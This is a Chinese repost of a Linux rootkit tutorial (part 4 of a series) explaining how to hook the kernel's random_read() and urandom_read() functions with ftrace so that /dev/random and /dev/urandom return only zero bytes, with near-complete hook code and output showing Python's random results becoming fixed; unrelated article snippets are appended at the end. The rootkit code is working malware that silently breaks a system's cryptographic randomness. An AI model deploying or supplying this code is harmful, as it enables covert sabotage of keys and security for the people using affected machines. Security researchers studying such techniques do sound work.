4通过干扰 Char 设备为 PRNG 添加后门_Linux_Rootkit.md

Xcellerator

密码学Linux其他逆向工程

文章目录

  • [Linux Rootkit 第 4 部分:通过干扰 Char 设备为 PRNG 添加后门](https://xcellerator.github.io/posts/linux_rootkits_04/)
  • Linux 中的字符设备
  • 字符设备的读取例程
  • 编写 Rootkit
  • 我们能去哪里呢?

Linux Rootkit 第 4 部分:通过干扰 Char 设备为 PRNG 添加后门

2020-09-09 :: TheXcellerator

# linux # rootkit # char #设备 #随机 # urandom

我们在第 3 部分中看到,向系统调用添加一些额外功能是多么容易。这次我们将针对一对不是系统调用且不能直接调用的内核函数。要了解它们是什么,有必要先讨论一下字符设备。

Linux 中的字符设备

尽管您可能不认识该名称,但您可能已经非常熟悉一堆char(或char aacter)设备。他们通常生活在下面/dev/,他们的源代码可以在 中找到drivers/char。也许最常见的是randomurandom这两个是我们稍后将针对的目标。

本质上,字符设备是内核的一些功能,将其作为文件公开给用户是有意义random对于诸如和 之类的东西尤其清楚urandom- 如果我们希望内核给我们一些随机字节,那么我们只需从其中任何一个读取(通常使用dd)。

$ dd if=/dev/random bs=1 count=32 | xxd
00000000: a1ec bdbd 638c dabd 4c04 e018 9cc0 0993  ....c...L.......
00000010: 50e1 b686 8997 3572 c0ec d05c d799 9103  P.....5r...\....
32+0 records in
32+0 records out
32 bytes copied, 0.000535243 s, 59.8 kB/s

复制

不要误以为这是一个真实的文件!如果您将硬盘驱动器安装在另一台计算机上,您将找不到任何这些字符设备。看看,我们random看到file

$ file /dev/random
/dev/random: character special (1/8)

复制

这强化了这样一个事实:我们不是在处理实际的文件 - 即使它们的行为与它们相似!

/dev/random和之间的区别/dev/urandom实际上相当微妙。最终,这一切都取决于系统的可用——您可以将其视为随机性的度量。两个 char 设备都从相同的 CSPRNG(加密安全伪随机数生成器)获取熵,但不同之处在于,/dev/random如果熵用完,它将停止生成字节 - 这一过程称为阻塞,而/dev/urandom使用一些技巧来不断地为内部种子播种状态以便无限期地继续生成字节。从技术上讲/dev/random是更安全的选择,但实际上它并不可靠,/dev/urandom而且容易产生竞争条件。还值得注意的是,系统调用默认sys_getrandom()读取/dev/urandom,我们稍后会看到。

那么,当我们尝试读取或写入字符设备时,内核如何决定做什么呢?如果您猜到它使用结构体,那么您猜对了!每个字符设备都有一个file_operations分配给它的结构(这基本上构成了它的定义)。该结构体包含一个.read.write字段等,其中包含指向函数的点!

.read就这么简单 - 当我们尝试从字符设备读取时,我们执行相应结构的字段指向的函数file_operations

我们真的应该首先了解一下读取是如何完成的——特别是如果我们想介入这些读取并干扰它们的话!查找sys_readLinux Syscall Reference告诉我们它需要 3 个参数:文件描述符、缓冲区和要读取的字节数。这三件事值得仔细研究。

  • 文件描述符只是分配给某个文件的一个数字。如果我们在用户空间中编程,我们首先需要使用sys_open系统调用,该系统调用将文件名作为其参数之一并返回文件描述符。由于我们将在内核中工作,因此我们实际上不必担心这一点,因为在调用时文件描述符已经被分配给/dev/random或。/dev/urandom``sys_read
  • 缓冲区是更有趣的部分,也是我们稍后需要关心的部分。应该发生的情况是,用户应该在内存中的某处分配一个空缓冲区,然后给出sys_read指向该缓冲区的指针。然后内核将从分配给该缓冲区的任何文件描述符中读取数据。
  • 最后,要读取的字节数就是 - 应该从文件描述符指向的事物中读取多少字节。当执行读取时,我们会自动向前查找读取的字节数。虽然这对于 char 设备来说并不重要,但在处理涉及sys_read.

sys_read(into )返回的值eax是成功读取的字节数。让我重复一遍:返回的唯一内容sys_read是读取的字节数。如果您来自解释语言(如 Python)的世界,那么这可能会让您感到惊讶。我们必须提供sys_read一个缓冲区来存储它为我们读取的数据。

另一件需要指出的重要事情是,它sys_read不知道它正在读取什么 - 它所拥有的只是一个文件描述符!如果我们想操纵对系统调用的读取randomurandom使用系统调用,我们必须同时挂钩sys_readsys_open。然后我们必须等待某些东西尝试打开任何一个字符设备,记录它返回到某处的文件描述符并等待从中*读取某些内容。*事实上,我们还必须挂钩sys_close,以便我们知道何时停止监视文件描述符!听起来很复杂,对吧?幸运的是,我们不仅可以挂钩系统调用!

字符设备的读取例程

让我们看一下drivers/char/random.c哪里有以下两个片段:

const struct file_operations random_fops = {.read = random_read,.write = random_write,/* trimmed for clarity */
};const struct file_operations urandom_fops = {.read = urandom_read,.write = urandom_write,/* trimmed for clarity */
};

复制

这告诉我们,每当有东西试图从/dev/randomor读取时/dev/urandom,函数random_read()orurandom_read()就会分别被调用。看一下其中一个函数,我们发现:

static ssize_t
random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos)
{int ret;ret = wait_for_random_bytes();if (ret != 0)return ret;return urandom_read_nowarn(file, buf, nbytes, ppos);
}

复制

这看起来和我们可以钩住的东西一模一样!

这个函数的内部结构相当不重要,因为我们最终的钩子无论如何都会通过完整调用这个函数来开始。重要是函数的定义方式,因为我们需要在 rootkit 中模拟它。请注意,第二个和第三个参数是缓冲区大小sys_read()- 这些是我们之前讨论的传递的参数!还要注意__user标识符 - 稍后这将非常重要。

编写 Rootkit

我们将挂钩两者random_read()urandom_read()这将允许我们在返回用户空间之前对包含读取数据的缓冲区进行更改。

每当我们想要用 ftrace 挂钩一个函数时,我们需要检查符号名称是否由内核导出。所有系统调用都是如此,但是由于我们的目标都不在系统调用表中,因此我们最好手动检查。正如之前的帖子中提到的,这是通过查看以下内容来完成的/proc/kallsyms

$ sudo cat /proc/kallsyms | grep random_read
/* redacted for clarity */
ffffffff84c934a0 t random_read
ffffffff84c934d0 t urandom_read

复制

好的,一切都好。我们现在需要做的第一件事是为原始副本提供正确的函数声明:

static asmlinkage ssize_t (*orig_random_read)(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos);
static asmlinkage ssize_t (*orig_urandom_read)(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos);

复制

现在我们开始编写实际的钩子。我只会通过 for 的钩子,random_read()因为它与for相同urandom_read(),只是我们额外插入u了一个。当我们完成它时,您就会明白为什么会出现这种情况。

还记得sys_read()返回成功读取的字节数吗?嗯,random_read()做同样的事情!我们的钩子所做的第一件事就是orig_random_read()使用它提供的所有参数进行调用。粗略地说,我们有:

static asmlinkage ssize_t hook_random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos)
{int bytes_read;bytes_read = orig_random_read(file, buf, nytes, ppos);printk(KERN_DEBUG "rootkit: intercepted read to /dev/random: %d bytes\n", bytes_read);/* do something to buf */return bytes_read;
}

复制

如果您停在这里并充实 Rootkit 的其余部分(ftrace、include 等),那么您将获得一个工作内核模块,dmesg每次我们尝试从/dev/random. 这个模块的真正大脑是我们buf在返回用户空间之前所做的事情。

为简单起见,我们将用 填充缓冲区0x00。不幸的是(或者幸运的是,取决于你如何看待它),这并不像听起来那么容易。部分原因是由于__user缓冲区标识符的存在。这提醒内核(和我们!)buf指向用户空间虚拟内存中的地址。我们不知道这个虚拟地址在物理上映射到哪里,因此尝试执行读取或写入操作可能会导致段错误。

这个问题的解决方案是使用copy_from_user()copy_to_user()函数,它允许我们在用户空间和内核空间的数组之间复制数据。对于这个模块,我们实际上只需要copy_to_user(),但无论如何我都会使用它们来向您展示它们是如何工作的。

首先,我们需要在内核空间中拥有一个自己的数组。如果您曾经使用过malloc()C 语言,那么您将会非常熟悉。我们使用函数kzalloc(),它有 2 个参数;一个尺寸和一些标志。然后它分配我们想要大小的内存区域并将地址返回给我们。当我们使用完这个缓冲区后,我们kfree()告诉内核我们不再需要该内存补丁。它看起来像这样:

char *kbuf = NULL;
int buf_size = 32;kbuf = kzalloc(buf_size, GFP_KERNEL);
if(kbuf)printk(KERN_ERROR "could not allocate buffer\n");/* do something with the shiny new buffer */kfree(kbuf);

复制

很简单,对吧?该GFP_KERNEL标志表明该缓冲区将在内核内存中分配 - 您可以在此处阅读有关可能标志的更多信息。

所以,现在我们可以用来copy_from_user()获取从中“读取”的随机字节/dev/random(我们可以跳过这一步,因为我们实际上只需要将零填充的缓冲区复制回buf,但这对于以后的模块很有用看看这部分是如何工作的)。

long error;error = copy_from_user(kbuf, buf, bytes_read);
if(error)printk(KERN_ERROR "failed to copy from user space: %d\n", error);/* Fill kbuf with 0x00 */error = copy_to_user(buf, kbuf, bytes_read);
if(error)printk(KERN_ERROR "failed to copy back to user space: %d\n", error);

复制

把它们放在一起,我们得到以下钩子:

static asmlinkage ssize_t hook_random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos)
{int bytes_read, i;long error;char *kbuf = NULL;/* Call the real random_read() */bytes_read = orig_random_read(file, buf, nbytes, ppos);/* Allocate a kernel buffer big enough to to hold everything */kbuf = kzalloc(bytes_read, GFP_KERNEL);/* Copy the random bytes from the userspace buf */error = copy_from_user(kbuf, buf, bytes_read);/* Check for any errors in copying */if(error){printk(KERN_DEBUG "rootkit: %d bytes could not be copied into kbuf\n", error);kfree(kbuf);return bytes_read;}/* Fill kbuf with 0x00 */for ( i = 0 ; i < bytes_read ; i++ )kbuf[i] = 0x00;/* Copy the rigged buffer back to userspace */error = copy_to_user(buf, kbuf, bytes_read);if(error)printk(KERN_DEBUG "rootkit: %d bytes could not be copied back into buf\n", error);/* Free the buffer before returning */kfree(kbuf);return bytes_read;
}

复制

正如您所看到的,这里没有任何特定的内容/dev/random,因此该函数也完全相同hook_urandom_read()(以及您想要干扰的任何其他字符设备!)。

将整个过程与 ftrace 代码(完整的、可工作的源代码可以在存储库中找到)放在一起,我们就可以开始构建和测试了!

请注意,我们不必担心pt_regs结构的整个加倍业务,例如第 3 部分sys_kill中的钩子。这是因为我们没有在此 rootkit 中挂钩系统调用 - 内核调用常规函数的方式是明确的!

好的,如果我们继续 and makeinsmod rootkit.ko等,我们可以看到当我们尝试读取/dev/randomor时会发生什么/dev/urandom

$ dd if=/dev/random bs=1 count=32 | xxd
00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
32+0 records in
32+0 records out
32 bytes copied, 0.0157476 s, 2.0 kB/s

复制

呼呼呼!不再有随机字节给您!我在存储库上也截取了这个屏幕截图,因为我只是觉得这太酷了!

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们能去哪里呢?

显然,无法获取任何随机字节会严重破坏系统的密码安全性。用户空间中的程序与这些字符设备交互的最常见方式是sys_getrandom()系统调用。如前所述,此系统调用/dev/urandom默认使用(但/dev/random如果提供标志也可以使用GRND_RANDOM),因此 hook 特别具有非常广泛的影响。

让我们编写一个快速而简单的 Python 脚本来计算一些随机数:

#!/usr/bin/python3import randomSAMPLE_SIZE = 1000headcount = 0
coinflips = []for i in range(SAMPLE_SIZE):newflip = random.randint(0,1)if ( newflip == 0 ):headcount += 1coinflips.append(newflip)print("Heads: " + str(headcount))
print("Tails: " + str(SAMPLE_SIZE - headcount))

复制

让我们运行几次,看看会发生什么:

$ ./check.py
Heads: 515
Tails: 485
$ ./check.py
Heads: 515
Tails: 485
$ ./check.py
Heads: 515
Tails: 485

复制

我想你明白了…我们已经大大减少了可用的随机性(在这个特定的统计数据的情况下,我们已经将其减少到零!)。为了进行比较,让我们看看在卸载 rootkit 后再次运行该 Python 脚本会发生什么:

$ ./check.py
Heads: 483
Tails: 517
$ ./check.py
Heads: 496
Tails: 504
$ ./check.py
Heads: 508
Tails: 492

复制

随机性又回来了!

我们知道 Python 正在使用sys_getrandom()它来生成“硬币翻转”(我们可以通过使用 strace 或添加printf()hook_urandom_read()钩子的调用来检查)。值得注意的是,Python 通过仅使用sys_getrandom()其内部 RNG 的种子来减轻一些损害。这可以通过修改 Python 脚本以连续打印硬币翻转而不是仅打印一次来看出。如果我们这样做,我们会看到每次迭代时抛硬币的比例都会改变,但每次运行时都会给出相同的数字!如果您想亲自检查,请在加载和不加载 rootkit 的情况下尝试此操作。

我正在研究一个涉及 ssh-keygen 的更好的示例,但这必须等到另一个时间…

阅读其他帖子


←Linux Rootkit 第 5 部分:从用户空间隐藏内核模块Linux Rootkit 第 3 部分:Root 后门→

哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题

该网站是闹鬼网络的一部分

<<< 随机 >>>

一部分](https://pixeldreams.tokyo/cgi-bin/webring.cgi)

<<< 随机 >>>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/449147.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

js中的数据类型(存储上的差别)

文章目录 前言一、基本类型NumberUndefinedStringNullBooleanSymbol 二、引用类型ObjectArrayFunction其他引用类型 三、存储区别基本类型引用类型 小结 前言 在JavaScript中&#xff0c;我们可以分成两种类型&#xff1a; 基本类型复杂类型 两种类型的区别是&#xff1a;存…

编译Duilib库

编译Duilib&#xff0c;遇到几个错误&#xff1b; 最终生成的lib如下&#xff1b; 报一个错误&#xff0c;无法打开源文件"StdAfx.h"&#xff0c; 查了一下资料&#xff0c;反正我的在下图 C/C - 常规 - 附加包含目录&#xff0c;填入下图内容就可以了&#xff0c;这…

【老生常谈】之Java反射机制

文章目录 序言一、基本概念1.1 Java反射机制是什么&#xff1f;1.2 反射机制功能1.3 反射机制的优缺点 二、Java反射机制API2.1 java.lang.Class 类2.2 java.lang.reflect 包2.2.1 java.lang.reflect.Constructor2.2.2 java.lang.reflect.Method2.2.3 java.lang.reflect.Field2…

【亲测有效】无法获得下列许可 SOLIDWORKS Standard 无效的(不一致的) 使用许可号码 (-8,544,0)

在观看本文章前&#xff0c;请注意看你的报错代码是否和我的一致&#xff0c;如果不是&#xff0c;直接跳过本文章。 前言&#xff1a;我安装的是SOLIDWORKS2022版&#xff0c;软件已经安装完毕&#xff0c;SolidWorks_Flexnet_Server文件夹里面的两个注册表已经安装完毕&#…

LLM应用开发与落地:使用gradio十分钟搭建聊天UI

一、背景 如果你是做LLM应用开发的&#xff0c;特别是做后端开发&#xff0c;你一定会遇到怎么快速写一个聊天UI界面来调试prompt或agent的问题。这时候的你可能在苦恼中&#xff0c;毕竟react.js, next.js, css, html也不是每个人都那么熟练&#xff0c;对吧&#xff1f;即使…

深度学习入门笔记(七)卷积神经网络CNN

我们先来总结一下人类识别物体的方法: 定位。这一步对于人眼来说是一个很自然的过程,因为当你去识别图标的时候,你就已经把你的目光放在了图标上。虽然这个行为不是很难,但是很重要。看线条。有没有文字,形状是方的圆的,还是长的短的等等。看细节。纹理、颜色、方向等。卷…

Android13源码下载及全编译流程

目录 一、源码下载 1.1、配置要求 1.1.1、硬件配置要求 1.1.2、软件要求 1.2、下载环境搭建 1.2.1、依赖安装 1.2.2、工具安装 1.2.3、git配置 1.2.4、repo配置 1.3、源码下载 1.3.1、明确下载版本 1.3.2、替换为清华源 1.3.3、初始化仓库并指定分支 1.3.4、同步全部源码 二、…

Redis(十一)单线程VS多线程

文章目录 概述为何选择单线程主要性能瓶颈多线程特性和IO多路复用概述Unix网络编程中的五种IO模型Blocking IO-阻塞IONoneBlocking IO-非阻塞IOIO multiplexing-IO多路复用signal driven IO-信号驱动IOasynchronous IO-异步IO 场景&#xff1a;引出epoll总结 开启Redis多线程其…

【Go语言成长之路】安装Go

文章目录 安装Go一、下载Go语言安装包二、删除以前安装的Go版本三、添加/usr/local/go/bin到环境变量内四、确认安装成功 安装Go Note: 这里只演示安装Linux版本的Go&#xff0c;若为其它版本&#xff0c;请按照官网的安装教程进行安装即可。 一、下载Go语言安装包 ​ 在浏览…

paddle环境安装

一、paddle环境安装 如pytorch环境安装一样&#xff0c;首先在base环境下创建一个新的环境来安装paddlepaddle框架。首先创建一个新的环境名叫paddle。执行如下命令。 conda create -n paddle python3.8创建好了名叫paddle这个环境以后&#xff0c;进入到这个环境中&#xff…

STM32--USART串口(2)串口外设

一、USART简介 可配置数据位&#xff1a;不需要校验就是8位&#xff0c;需要校验就选9位&#xff1b; 停止位&#xff1a;决定了帧的间隔; STM32F103C8T6USART&#xff1a;USART1挂载在APB2总线上&#xff0c;USART2和USART3挂载在APB1总线上&#xff1b; 二、USART框图 TXE…

centos 7 部署若依前后端分离项目

目录 一、新建数据库 二、修改需求配置 1.修改数据库连接 2.修改Redis连接信息 3.文件路径 4.日志存储路径调整 三、编译后端项目 四、编译前端项目 1.上传项目 2.安装依赖 3.构建生产环境 五、项目部署 1.创建目录 2.后端文件上传 3. 前端文件上传 六、服务启…